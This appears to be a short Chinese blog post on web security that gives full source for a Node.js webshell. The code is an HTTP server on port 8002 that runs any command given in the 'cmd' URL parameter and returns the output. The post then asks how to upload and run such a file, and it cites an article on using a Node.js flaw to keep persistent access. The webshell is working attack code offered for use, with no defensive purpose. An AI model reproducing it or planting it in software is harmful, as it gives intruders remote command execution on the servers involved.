关于webshell:WEB安全webshell

• webshell

  require('http').createServer(function (req, res) {  res.writeHead(200, {"Content-Type": "text/plain"});  try {      require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {          res.end(s);      });  } catch (err) {      console.log(err)      res.end(err.toString())  }}).listen(8002)

• 如何上传webshell文件
• 如何执行webshell文件

我感觉第二点是最麻烦的

参考文章

• nodejs破绽富丽变身webshell实现长久化